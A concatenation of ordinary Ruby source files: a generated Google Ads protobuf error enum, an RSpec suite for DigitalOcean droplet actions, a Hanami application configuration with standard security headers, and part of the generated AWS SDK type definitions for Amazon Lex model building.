Google::Protobuf::DescriptorPool.generated_pool.build do
add_file("google/ads/googleads/v5/errors/authorization_error.proto", :syntax => :proto3) do
add_message "google.ads.googleads.v5.errors.AuthorizationErrorEnum" do
end
add_enum "google.ads.googleads.v5.errors.AuthorizationErrorEnum.AuthorizationError" do
value :UNSPECIFIED, 0
value :UNKNOWN, 1
value :USER_PERMISSION_DENIED, 2
value :DEVELOPER_TOKEN_NOT_ON_ALLOWLIST, 13
value :DEVELOPER_TOKEN_PROHIBITED, 4
value :PROJECT_DISABLED, 5
value :AUTHORIZATION_ERROR, 6
value :ACTION_NOT_PERMITTED, 7
value :INCOMPLETE_SIGNUP, 8
value :CUSTOMER_NOT_ENABLED, 24
value :MISSING_TOS, 9
value :DEVELOPER_TOKEN_NOT_APPROVED, 10
value :INVALID_LOGIN_CUSTOMER_ID_SERVING_CUSTOMER_ID_COMBINATION, 11
value :SERVICE_ACCESS_DENIED, 12
end
end
end
module Google
module Ads
module GoogleAds
module V5
module Errors
AuthorizationErrorEnum = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.ads.googleads.v5.errors.AuthorizationErrorEnum").msgclass
AuthorizationErrorEnum::AuthorizationError = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.ads.googleads.v5.errors.AuthorizationErrorEnum.AuthorizationError").enummodule
end
end
end
end
end
| 37.309524 | 198 | 0.752393 |
39237845aeb5f57fffeed513f749be8d9246166b | 7,550 | require 'spec_helper'
RSpec.describe DropletKit::DropletActionResource do
subject(:resource) { described_class.new(connection: connection) }
let(:droplet_id) { 1066 }
let(:fixture) { api_fixture("droplet_actions/#{action}") }
include_context 'resources'
describe '#action_for_id' do
let(:action) { 'event' }
let(:path) { "/v2/droplets/#{droplet_id}/actions" }
let(:fixture) { api_fixture('droplet_actions/find') }
it 'performs the action' do
request = stub_do_api(path, :post).with(
body: { type: action, param_1: 1, param_2: 2 }.to_json
).to_return(body: fixture, status: 201)
resource.action_for_id(droplet_id: droplet_id, type: action, param_1: 1, param_2: 2)
expect(request).to have_been_made
end
end
describe '#action_for_tag' do
let(:action) { 'event' }
let(:path) { '/v2/droplets/actions' }
let(:fixture) { api_fixture('droplet_actions/find') }
it 'performs the action' do
request = stub_do_api(path, :post).with(
body: { tag_name: 'test-tag', type: action, param_1: 1, param_2: 2 }.to_json
).to_return(body: fixture, status: 201)
resource.action_for_tag(tag_name: 'test-tag', type: action, param_1: 1, param_2: 2)
expect(request).to have_been_made
end
end
described_class::ACTIONS_WITHOUT_INPUT.each do |action_name|
describe "Action #{action_name}" do
let(:action) { action_name }
let(:path) { "/v2/droplets/#{droplet_id}/actions" }
it 'performs the action' do
request = stub_do_api(path, :post).with(
body: { type: action }.to_json
).to_return(body: fixture, status: 201)
returned_action = resource.send(action, droplet_id: droplet_id)
expect(request).to have_been_made
expect(returned_action.type).to eq(action)
end
it_behaves_like 'an action that handles invalid parameters' do
let(:object) { DropletKit::Droplet.new }
let(:arguments) { { droplet_id: droplet_id } }
end
end
end
described_class::TAG_ACTIONS.each do |action_name|
describe "Batch Action #{action_name}" do
let(:action) { "#{action_name}_for_tag" }
let(:path) { "/v2/droplets/actions?tag_name=testing-1" }
let(:fixture) do
single_action = DropletKit::ActionMapping.extract_single(api_fixture("droplet_actions/#{action_name}"), :read)
DropletKit::ActionMapping.represent_collection_for(:read, [single_action])
end
it 'performs the action' do
request = stub_do_api(path, :post).with(
body: { type: action_name }.to_json
).to_return(body: fixture, status: 201)
returned_actions = resource.send(action, tag_name: 'testing-1')
expect(request).to have_been_made
expect(returned_actions.first.type).to eq(action_name)
end
end
end
describe "Action snapshot" do
let(:action) { 'snapshot' }
it 'performs the action' do
request = stub_do_api("/v2/droplets/#{droplet_id}/actions", :post).with(
body: { type: action, name: 'Dwight' }.to_json
).to_return(body: fixture, status: 201)
returned_action = resource.send(action, droplet_id: droplet_id, name: 'Dwight')
expect(request).to have_been_made
expect(returned_action.type).to eq(action)
end
end
describe "Action change_kernel" do
let(:action) { 'change_kernel' }
it 'performs the action' do
request = stub_do_api("/v2/droplets/#{droplet_id}/actions", :post).with(
body: { type: action, kernel: 1556 }.to_json
).to_return(body: fixture, status: 201)
returned_action = resource.send(action, droplet_id: droplet_id, kernel: 1556)
expect(request).to have_been_made
expect(returned_action.type).to eq(action)
end
end
describe "Action rename" do
let(:action) { 'rename' }
it 'performs the action' do
request = stub_do_api("/v2/droplets/#{droplet_id}/actions", :post).with(
body: { type: action, name: 'newname.com' }.to_json
).to_return(body: fixture, status: 201)
returned_action = resource.send(action, droplet_id: droplet_id, name: 'newname.com')
expect(request).to have_been_made
expect(returned_action.type).to eq(action)
end
end
describe "Action rebuild" do
let(:action) { 'rebuild' }
it 'performs the action' do
request = stub_do_api("/v2/droplets/#{droplet_id}/actions", :post).with(
body: { type: action, image: 'ubuntu-14-04-x86' }.to_json
).to_return(body: fixture, status: 201)
returned_action = resource.send(action, droplet_id: droplet_id, image: 'ubuntu-14-04-x86')
expect(request).to have_been_made
expect(returned_action.type).to eq(action)
end
end
describe "Action restore" do
let(:action) { 'restore' }
it 'performs the action' do
request = stub_do_api("/v2/droplets/#{droplet_id}/actions", :post).with(
body: { type: action, image: 'ubuntu-14-04-x86' }.to_json
).to_return(body: fixture, status: 201)
returned_action = resource.send(action, droplet_id: droplet_id, image: 'ubuntu-14-04-x86')
expect(request).to have_been_made
expect(returned_action.type).to eq(action)
end
end
describe "Action resize" do
let(:action) { 'resize' }
it 'performs the action' do
request = stub_do_api("/v2/droplets/#{droplet_id}/actions", :post).with(
body: { type: action, size: '1gb', disk: nil }.to_json
).to_return(body: fixture, status: 201)
returned_action = resource.send(action, droplet_id: droplet_id, size: '1gb')
expect(request).to have_been_made
expect(returned_action.type).to eq(action)
end
end
describe "Action resize with disk" do
let(:action) { 'resize' }
it 'performs the action' do
request = stub_do_api("/v2/droplets/#{droplet_id}/actions", :post).with(
body: { type: action, size: '1gb', disk: true }.to_json
).to_return(body: fixture, status: 201)
returned_action = resource.send(action, droplet_id: droplet_id, size: '1gb', disk: true)
expect(request).to have_been_made
expect(returned_action.type).to eq(action)
end
end
describe '#find' do
it 'returns an action' do
request = stub_do_api("/v2/droplets/1066/actions/123", :get).to_return(
body: api_fixture('droplet_actions/find')
)
returned_action = resource.find(droplet_id: 1066, id: 123)
expect(request).to have_been_made
expect(returned_action.type).to eq('test')
expect(returned_action.started_at).to eq("2014-07-29T14:35:27Z")
expect(returned_action.completed_at).to eq(nil)
expect(returned_action.resource_id).to eq(nil)
expect(returned_action.resource_type).to eq("backend")
expect(returned_action.region_slug).to eq('nyc1')
expect(returned_action.region).to be_kind_of(DropletKit::Region)
expect(returned_action.region.slug).to eq('nyc1')
expect(returned_action.region.name).to eq('New York')
expect(returned_action.region.sizes).to include('512mb')
expect(returned_action.region.available).to be(true)
expect(returned_action.region.features).to include("virtio", "private_networking", "backups", "ipv6", "metadata")
end
it_behaves_like 'resource that handles common errors' do
let(:path) { '/v2/droplets/1066/actions/123' }
let(:method) { :get }
let(:action) { :find }
let(:arguments) { { droplet_id: 1066, id: 123 } }
end
end
end
| 33.705357 | 119 | 0.663046 |
0320da5589516b14de4c4b27ea993e6ac8d00378 | 9,690 | # frozen_string_literal: true
require 'hanami/helpers'
module Web
class Application < Hanami::Application
configure do
##
# BASIC
#
# Define the root path of this application.
# All paths specified in this configuration are relative to path below.
#
root __dir__
# Relative load paths where this application will recursively load the
# code.
#
# When you add new directories, remember to add them here.
#
load_paths << %w[
controllers
views
]
# Handle exceptions with HTTP statuses (true) or don't catch them (false).
# Defaults to true.
# See: http://www.rubydoc.info/gems/hanami-controller/#Exceptions_management
#
# handle_exceptions true
##
# HTTP
#
# Routes definitions for this application
# See: http://www.rubydoc.info/gems/hanami-router#Usage
#
routes 'config/routes'
# URI scheme used by the routing system to generate absolute URLs
# Defaults to "http"
#
# scheme 'https'
# URI host used by the routing system to generate absolute URLs
# Defaults to "localhost"
#
# host 'example.org'
# URI port used by the routing system to generate absolute URLs
# Argument: An object coercible to integer, defaults to 80 if the scheme
# is http and 443 if it's https
#
# This should only be configured if app listens to non-standard ports
#
# port 443
# Enable cookies
# Argument: boolean to toggle the feature
# A Hash with options
#
# Options:
# :domain - The domain (String - nil by default, not required)
# :path - Restrict cookies to a relative URI
# (String - nil by default)
# :max_age - Cookies expiration expressed in seconds
# (Integer - nil by default)
# :secure - Restrict cookies to secure connections
# (Boolean - Automatically true when using HTTPS)
# See #scheme and #ssl?
# :httponly - Prevent JavaScript access (Boolean - true by default)
#
# cookies true
# or
# cookies max_age: 300
# Enable sessions
# Argument: Symbol the Rack session adapter
# A Hash with options
#
# See: http://www.rubydoc.info/gems/rack/Rack/Session/Cookie
#
sessions :cookie, secret: ENV.fetch('WEB_SESSIONS_SECRET')
# Configure Rack middleware for this application
#
# middleware.use Rack::Protection
middleware.use Warden::Manager do |manager|
manager.failure_app = Web::Controllers::Home::Index.new
end
# Default format for the requests that don't specify an HTTP_ACCEPT header
# Argument: A symbol representation of a mime type, defaults to :html
#
default_request_format :html
# Default format for responses that don't consider the request format
# Argument: A symbol representation of a mime type, defaults to :html
#
default_response_format :html
##
# TEMPLATES
#
# The layout to be used by all views
#
layout :application # It will load Web::Views::ApplicationLayout
# The relative path to templates
#
templates 'templates'
##
# ASSETS
#
# assets do
# JavaScript compressor
#
# Supported engines:
#
# * :builtin
# * :uglifier
# * :yui
# * :closure
#
# See: http://hanamirb.org/guides/assets/compressors
#
# In order to skip JavaScript compression comment the following line
# javascript_compressor :builtin
# Stylesheet compressor
#
# Supported engines:
#
# * :builtin
# * :yui
# * :sass
#
# See: http://hanamirb.org/guides/assets/compressors
#
# In order to skip stylesheet compression comment the following line
# stylesheet_compressor :builtin
# Specify sources for assets
#
# sources << [
# 'assets'
# ]
# end
##
# SECURITY
#
# X-Frame-Options is a HTTP header supported by modern browsers.
# It determines if a web page can or cannot be included via <frame> and
# <iframe> tags by untrusted domains.
#
# Web applications can send this header to prevent Clickjacking attacks.
#
# Read more at:
#
# * https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options
# * https://www.owasp.org/index.php/Clickjacking
#
security.x_frame_options 'DENY'
# X-Content-Type-Options prevents browsers from interpreting files as
# something else than declared by the content type in the HTTP headers.
#
# Read more at:
#
# * https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#X-Content-Type-Options
# * https://msdn.microsoft.com/en-us/library/gg622941%28v=vs.85%29.aspx
# * https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update
#
security.x_content_type_options 'nosniff'
# X-XSS-Protection is a HTTP header to determine the behavior of the
# browser in case an XSS attack is detected.
#
# Read more at:
#
# * https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
# * https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#X-XSS-Protection
#
security.x_xss_protection '1; mode=block'
# Content-Security-Policy (CSP) is a HTTP header supported by modern
# browsers. It determines trusted sources of execution for dynamic
# contents (JavaScript) or other web related assets: stylesheets, images,
# fonts, plugins, etc.
#
# Web applications can send this header to mitigate Cross Site Scripting
# (XSS) attacks.
#
# The default value allows images, scripts, AJAX, fonts and CSS from the
# same origin, and does not allow any other resources to load (eg object,
# frame, media, etc).
#
# Inline JavaScript is NOT allowed. To enable it, please use:
# "script-src 'unsafe-inline'".
#
# Content Security Policy introduction:
#
# * http://www.html5rocks.com/en/tutorials/security/content-security-policy/
# * https://www.owasp.org/index.php/Content_Security_Policy
# * https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
#
# Inline and eval JavaScript risks:
#
# * http://www.html5rocks.com/en/tutorials/security/content-security-policy/#inline-code-considered-harmful
# * http://www.html5rocks.com/en/tutorials/security/content-security-policy/#eval-too
#
# Content Security Policy usage:
#
# * http://content-security-policy.com/
# * https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Using_Content_Security_Policy
#
# Content Security Policy references:
#
# * https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives
#
security.content_security_policy %(
form-action 'self';
frame-ancestors 'self';
base-uri 'self';
default-src 'none';
script-src 'self';
connect-src 'self';
img-src 'self' https: data:;
style-src 'self' 'unsafe-inline' https:;
font-src 'self';
object-src 'none';
plugin-types application/pdf;
child-src 'self';
frame-src 'self';
media-src 'self'
)
##
# FRAMEWORKS
#
# Configure the code that will yield each time Web::Action is included
# This is useful for sharing common functionality
#
# See: http://www.rubydoc.info/gems/hanami-controller#Configuration
controller.prepare do
# include MyAuthentication # included in all the actions
# before :authenticate! # run an authentication before callback
include Web::Authentication
end
# Configure the code that will yield each time Web::View is included
# This is useful for sharing common functionality
#
# See: http://www.rubydoc.info/gems/hanami-view#Configuration
view.prepare do
include Hanami::Helpers
include Web::Assets::Helpers
end
end
##
# DEVELOPMENT
#
configure :development do
# Don't handle exceptions, render the stack trace
handle_exceptions false
end
##
# TEST
#
configure :test do
# Don't handle exceptions, render the stack trace
handle_exceptions false
end
##
# PRODUCTION
#
configure :production do
# scheme 'https'
# host 'example.org'
# port 443
assets do
# Don't compile static assets in production mode (eg. Sass, ES6)
#
# See: http://www.rubydoc.info/gems/hanami-assets#Configuration
compile false
# Use fingerprint file name for asset paths
#
# See: http://hanamirb.org/guides/assets/overview
fingerprint false
# Content Delivery Network (CDN)
#
# See: http://hanamirb.org/guides/assets/content-delivery-network
#
# scheme 'https'
# host 'cdn.example.org'
# port 443
# Subresource Integrity
#
# See: http://hanamirb.org/guides/assets/content-delivery-network/#subresource-integrity
# subresource_integrity :sha256
end
end
end
end
| 30.376176 | 115 | 0.608669 |
e9d81f4ba06c43b5ad05a3b3e8600dbf77cb4850 | 167,134 | # frozen_string_literal: true
# WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
module Aws::LexModelBuildingService
module Types
# The request is not well formed. For example, a value is invalid or a
# required field is missing. Check the field values, and try again.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/BadRequestException AWS API Documentation
#
class BadRequestException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# Provides information about a bot alias.
#
# @!attribute [rw] name
# The name of the bot alias.
# @return [String]
#
# @!attribute [rw] description
# A description of the bot alias.
# @return [String]
#
# @!attribute [rw] bot_version
# The version of the Amazon Lex bot to which the alias points.
# @return [String]
#
# @!attribute [rw] bot_name
# The name of the bot to which the alias points.
# @return [String]
#
# @!attribute [rw] last_updated_date
# The date that the bot alias was updated. When you create a resource,
# the creation date and last updated date are the same.
# @return [Time]
#
# @!attribute [rw] created_date
# The date that the bot alias was created.
# @return [Time]
#
# @!attribute [rw] checksum
# Checksum of the bot alias.
# @return [String]
#
# @!attribute [rw] conversation_logs
# Settings that determine how Amazon Lex uses conversation logs for
# the alias.
# @return [Types::ConversationLogsResponse]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/BotAliasMetadata AWS API Documentation
#
class BotAliasMetadata < Struct.new(
:name,
:description,
:bot_version,
:bot_name,
:last_updated_date,
:created_date,
:checksum,
:conversation_logs)
SENSITIVE = []
include Aws::Structure
end
# Represents an association between an Amazon Lex bot and an external
# messaging platform.
#
# @!attribute [rw] name
# The name of the association between the bot and the channel.
# @return [String]
#
# @!attribute [rw] description
# A text description of the association you are creating.
# @return [String]
#
# @!attribute [rw] bot_alias
# An alias pointing to the specific version of the Amazon Lex bot to
# which this association is being made.
# @return [String]
#
# @!attribute [rw] bot_name
# The name of the Amazon Lex bot to which this association is being
# made.
#
# <note markdown="1"> Currently, Amazon Lex supports associations with Facebook and Slack,
# and Twilio.
#
# </note>
# @return [String]
#
# @!attribute [rw] created_date
# The date that the association between the Amazon Lex bot and the
# channel was created.
# @return [Time]
#
# @!attribute [rw] type
# Specifies the type of association by indicating the type of channel
# being established between the Amazon Lex bot and the external
# messaging platform.
# @return [String]
#
# @!attribute [rw] bot_configuration
# Provides information necessary to communicate with the messaging
# platform.
# @return [Hash<String,String>]
#
# @!attribute [rw] status
# The status of the bot channel.
#
# * `CREATED` - The channel has been created and is ready for use.
#
# * `IN_PROGRESS` - Channel creation is in progress.
#
# * `FAILED` - There was an error creating the channel. For
# information about the reason for the failure, see the
# `failureReason` field.
# @return [String]
#
# @!attribute [rw] failure_reason
# If `status` is `FAILED`, Amazon Lex provides the reason that it
# failed to create the association.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/BotChannelAssociation AWS API Documentation
#
class BotChannelAssociation < Struct.new(
:name,
:description,
:bot_alias,
:bot_name,
:created_date,
:type,
:bot_configuration,
:status,
:failure_reason)
SENSITIVE = [:bot_configuration]
include Aws::Structure
end
# Provides information about a bot. .
#
# @!attribute [rw] name
# The name of the bot.
# @return [String]
#
# @!attribute [rw] description
# A description of the bot.
# @return [String]
#
# @!attribute [rw] status
# The status of the bot.
# @return [String]
#
# @!attribute [rw] last_updated_date
# The date that the bot was updated. When you create a bot, the
# creation date and last updated date are the same.
# @return [Time]
#
# @!attribute [rw] created_date
# The date that the bot was created.
# @return [Time]
#
# @!attribute [rw] version
# The version of the bot. For a new bot, the version is always
# `$LATEST`.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/BotMetadata AWS API Documentation
#
class BotMetadata < Struct.new(
:name,
:description,
:status,
:last_updated_date,
:created_date,
:version)
SENSITIVE = []
include Aws::Structure
end
# Provides metadata for a built-in intent.
#
# @!attribute [rw] signature
# A unique identifier for the built-in intent. To find the signature
# for an intent, see [Standard Built-in Intents][1] in the *Alexa
# Skills Kit*.
#
#
#
# [1]: https://developer.amazon.com/public/solutions/alexa/alexa-skills-kit/docs/built-in-intent-ref/standard-intents
# @return [String]
#
# @!attribute [rw] supported_locales
# A list of identifiers for the locales that the intent supports.
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/BuiltinIntentMetadata AWS API Documentation
#
class BuiltinIntentMetadata < Struct.new(
:signature,
:supported_locales)
SENSITIVE = []
include Aws::Structure
end
# Provides information about a slot used in a built-in intent.
#
# @!attribute [rw] name
# A list of the slots defined for the intent.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/BuiltinIntentSlot AWS API Documentation
#
class BuiltinIntentSlot < Struct.new(
:name)
SENSITIVE = []
include Aws::Structure
end
# Provides information about a built in slot type.
#
# @!attribute [rw] signature
# A unique identifier for the built-in slot type. To find the
# signature for a slot type, see [Slot Type Reference][1] in the
# *Alexa Skills Kit*.
#
#
#
# [1]: https://developer.amazon.com/public/solutions/alexa/alexa-skills-kit/docs/built-in-intent-ref/slot-type-reference
# @return [String]
#
# @!attribute [rw] supported_locales
# A list of target locales for the slot.
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/BuiltinSlotTypeMetadata AWS API Documentation
#
class BuiltinSlotTypeMetadata < Struct.new(
:signature,
:supported_locales)
SENSITIVE = []
include Aws::Structure
end
# Specifies a Lambda function that verifies requests to a bot or
# fulfills the user's request to a bot..
#
# @note When making an API call, you may pass CodeHook
# data as a hash:
#
# {
# uri: "LambdaARN", # required
# message_version: "MessageVersion", # required
# }
#
# @!attribute [rw] uri
# The Amazon Resource Name (ARN) of the Lambda function.
# @return [String]
#
# @!attribute [rw] message_version
# The version of the request-response that you want Amazon Lex to use
# to invoke your Lambda function. For more information, see
# using-lambda.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/CodeHook AWS API Documentation
#
class CodeHook < Struct.new(
:uri,
:message_version)
SENSITIVE = []
include Aws::Structure
end
# There was a conflict processing the request. Try your request again.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/ConflictException AWS API Documentation
#
class ConflictException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# Provides the settings needed for conversation logs.
#
# @note When making an API call, you may pass ConversationLogsRequest
# data as a hash:
#
# {
# log_settings: [ # required
# {
# log_type: "AUDIO", # required, accepts AUDIO, TEXT
# destination: "CLOUDWATCH_LOGS", # required, accepts CLOUDWATCH_LOGS, S3
# kms_key_arn: "KmsKeyArn",
# resource_arn: "ResourceArn", # required
# },
# ],
# iam_role_arn: "IamRoleArn", # required
# }
#
# @!attribute [rw] log_settings
# The settings for your conversation logs. You can log the
# conversation text, conversation audio, or both.
# @return [Array<Types::LogSettingsRequest>]
#
# @!attribute [rw] iam_role_arn
# The Amazon Resource Name (ARN) of an IAM role with permission to
# write to your CloudWatch Logs for text logs and your S3 bucket for
# audio logs. If audio encryption is enabled, this role also provides
# access permission for the AWS KMS key used for encrypting audio
# logs. For more information, see [Creating an IAM Role and Policy for
# Conversation Logs][1].
#
#
#
# [1]: https://docs.aws.amazon.com/lex/latest/dg/conversation-logs-role-and-policy.html
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/ConversationLogsRequest AWS API Documentation
#
class ConversationLogsRequest < Struct.new(
:log_settings,
:iam_role_arn)
SENSITIVE = []
include Aws::Structure
end
# Contains information about conversation log settings.
#
# @!attribute [rw] log_settings
# The settings for your conversation logs. You can log text, audio, or
# both.
# @return [Array<Types::LogSettingsResponse>]
#
# @!attribute [rw] iam_role_arn
# The Amazon Resource Name (ARN) of the IAM role used to write your
# logs to CloudWatch Logs or an S3 bucket.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/ConversationLogsResponse AWS API Documentation
#
class ConversationLogsResponse < Struct.new(
:log_settings,
:iam_role_arn)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass CreateBotVersionRequest
# data as a hash:
#
# {
# name: "BotName", # required
# checksum: "String",
# }
#
# @!attribute [rw] name
# The name of the bot that you want to create a new version of. The
# name is case sensitive.
# @return [String]
#
# @!attribute [rw] checksum
# Identifies a specific revision of the `$LATEST` version of the bot.
# If you specify a checksum and the `$LATEST` version of the bot has a
# different checksum, a `PreconditionFailedException` exception is
# returned and Amazon Lex doesn't publish a new version. If you
# don't specify a checksum, Amazon Lex publishes the `$LATEST`
# version.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/CreateBotVersionRequest AWS API Documentation
#
class CreateBotVersionRequest < Struct.new(
:name,
:checksum)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] name
# The name of the bot.
# @return [String]
#
# @!attribute [rw] description
# A description of the bot.
# @return [String]
#
# @!attribute [rw] intents
# An array of `Intent` objects. For more information, see PutBot.
# @return [Array<Types::Intent>]
#
# @!attribute [rw] clarification_prompt
# The message that Amazon Lex uses when it doesn't understand the
# user's request. For more information, see PutBot.
# @return [Types::Prompt]
#
# @!attribute [rw] abort_statement
# The message that Amazon Lex uses to cancel a conversation. For more
# information, see PutBot.
# @return [Types::Statement]
#
# @!attribute [rw] status
# When you send a request to create or update a bot, Amazon Lex sets
# the `status` response element to `BUILDING`. After Amazon Lex builds
# the bot, it sets `status` to `READY`. If Amazon Lex can't build the
# bot, it sets `status` to `FAILED`. Amazon Lex returns the reason for
# the failure in the `failureReason` response element.
# @return [String]
#
# @!attribute [rw] failure_reason
# If `status` is `FAILED`, Amazon Lex provides the reason that it
# failed to build the bot.
# @return [String]
#
# @!attribute [rw] last_updated_date
# The date when the `$LATEST` version of this bot was updated.
# @return [Time]
#
# @!attribute [rw] created_date
# The date when the bot version was created.
# @return [Time]
#
# @!attribute [rw] idle_session_ttl_in_seconds
# The maximum time in seconds that Amazon Lex retains the data
# gathered in a conversation. For more information, see PutBot.
# @return [Integer]
#
# @!attribute [rw] voice_id
# The Amazon Polly voice ID that Amazon Lex uses for voice
# interactions with the user.
# @return [String]
#
# @!attribute [rw] checksum
# Checksum identifying the version of the bot that was created.
# @return [String]
#
# @!attribute [rw] version
# The version of the bot.
# @return [String]
#
# @!attribute [rw] locale
# Specifies the target locale for the bot.
# @return [String]
#
# @!attribute [rw] child_directed
# For each Amazon Lex bot created with the Amazon Lex Model Building
# Service, you must specify whether your use of Amazon Lex is related
# to a website, program, or other application that is directed or
# targeted, in whole or in part, to children under age 13 and subject
# to the Children's Online Privacy Protection Act (COPPA) by
# specifying `true` or `false` in the `childDirected` field. By
# specifying `true` in the `childDirected` field, you confirm that
# your use of Amazon Lex **is** related to a website, program, or
# other application that is directed or targeted, in whole or in part,
# to children under age 13 and subject to COPPA. By specifying `false`
# in the `childDirected` field, you confirm that your use of Amazon
# Lex **is not** related to a website, program, or other application
# that is directed or targeted, in whole or in part, to children under
# age 13 and subject to COPPA. You may not specify a default value for
# the `childDirected` field that does not accurately reflect whether
# your use of Amazon Lex is related to a website, program, or other
# application that is directed or targeted, in whole or in part, to
# children under age 13 and subject to COPPA.
#
# If your use of Amazon Lex relates to a website, program, or other
# application that is directed in whole or in part, to children under
# age 13, you must obtain any required verifiable parental consent
# under COPPA. For information regarding the use of Amazon Lex in
# connection with websites, programs, or other applications that are
# directed or targeted, in whole or in part, to children under age 13,
# see the [Amazon Lex FAQ.][1]
#
#
#
# [1]: https://aws.amazon.com/lex/faqs#data-security
# @return [Boolean]
#
# @!attribute [rw] enable_model_improvements
# Indicates whether the bot uses accuracy improvements. `true`
# indicates that the bot is using the improvements, otherwise,
# `false`.
# @return [Boolean]
#
# @!attribute [rw] detect_sentiment
# Indicates whether utterances entered by the user should be sent to
# Amazon Comprehend for sentiment analysis.
# @return [Boolean]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/CreateBotVersionResponse AWS API Documentation
#
class CreateBotVersionResponse < Struct.new(
:name,
:description,
:intents,
:clarification_prompt,
:abort_statement,
:status,
:failure_reason,
:last_updated_date,
:created_date,
:idle_session_ttl_in_seconds,
:voice_id,
:checksum,
:version,
:locale,
:child_directed,
:enable_model_improvements,
:detect_sentiment)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass CreateIntentVersionRequest
# data as a hash:
#
# {
# name: "IntentName", # required
# checksum: "String",
# }
#
# @!attribute [rw] name
# The name of the intent that you want to create a new version of. The
# name is case sensitive.
# @return [String]
#
# @!attribute [rw] checksum
# Checksum of the `$LATEST` version of the intent that should be used
# to create the new version. If you specify a checksum and the
# `$LATEST` version of the intent has a different checksum, Amazon Lex
# returns a `PreconditionFailedException` exception and doesn't
# publish a new version. If you don't specify a checksum, Amazon Lex
# publishes the `$LATEST` version.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/CreateIntentVersionRequest AWS API Documentation
#
class CreateIntentVersionRequest < Struct.new(
:name,
:checksum)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] name
# The name of the intent.
# @return [String]
#
# @!attribute [rw] description
# A description of the intent.
# @return [String]
#
# @!attribute [rw] slots
# An array of slot types that defines the information required to
# fulfill the intent.
# @return [Array<Types::Slot>]
#
# @!attribute [rw] sample_utterances
# An array of sample utterances configured for the intent.
# @return [Array<String>]
#
# @!attribute [rw] confirmation_prompt
# If defined, the prompt that Amazon Lex uses to confirm the user's
# intent before fulfilling it.
# @return [Types::Prompt]
#
# @!attribute [rw] rejection_statement
# If the user answers "no" to the question defined in
# `confirmationPrompt`, Amazon Lex responds with this statement to
# acknowledge that the intent was canceled.
# @return [Types::Statement]
#
# @!attribute [rw] follow_up_prompt
# If defined, Amazon Lex uses this prompt to solicit additional user
# activity after the intent is fulfilled.
# @return [Types::FollowUpPrompt]
#
# @!attribute [rw] conclusion_statement
# After the Lambda function specified in the `fulfillmentActivity`
# field fulfills the intent, Amazon Lex conveys this statement to the
# user.
# @return [Types::Statement]
#
# @!attribute [rw] dialog_code_hook
# If defined, Amazon Lex invokes this Lambda function for each user
# input.
# @return [Types::CodeHook]
#
# @!attribute [rw] fulfillment_activity
# Describes how the intent is fulfilled.
# @return [Types::FulfillmentActivity]
#
# @!attribute [rw] parent_intent_signature
# A unique identifier for a built-in intent.
# @return [String]
#
# @!attribute [rw] last_updated_date
# The date that the intent was updated.
# @return [Time]
#
# @!attribute [rw] created_date
# The date that the intent was created.
# @return [Time]
#
# @!attribute [rw] version
# The version number assigned to the new version of the intent.
# @return [String]
#
# @!attribute [rw] checksum
# Checksum of the intent version created.
# @return [String]
#
# @!attribute [rw] kendra_configuration
# Configuration information, if any, for connecting an Amazon Kendra
# index with the `AMAZON.KendraSearchIntent` intent.
# @return [Types::KendraConfiguration]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/CreateIntentVersionResponse AWS API Documentation
#
class CreateIntentVersionResponse < Struct.new(
:name,
:description,
:slots,
:sample_utterances,
:confirmation_prompt,
:rejection_statement,
:follow_up_prompt,
:conclusion_statement,
:dialog_code_hook,
:fulfillment_activity,
:parent_intent_signature,
:last_updated_date,
:created_date,
:version,
:checksum,
:kendra_configuration)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass CreateSlotTypeVersionRequest
# data as a hash:
#
# {
# name: "SlotTypeName", # required
# checksum: "String",
# }
#
# @!attribute [rw] name
# The name of the slot type that you want to create a new version for.
# The name is case sensitive.
# @return [String]
#
# @!attribute [rw] checksum
# Checksum for the `$LATEST` version of the slot type that you want to
# publish. If you specify a checksum and the `$LATEST` version of the
# slot type has a different checksum, Amazon Lex returns a
# `PreconditionFailedException` exception and doesn't publish the new
# version. If you don't specify a checksum, Amazon Lex publishes the
# `$LATEST` version.
# @return [String]
#
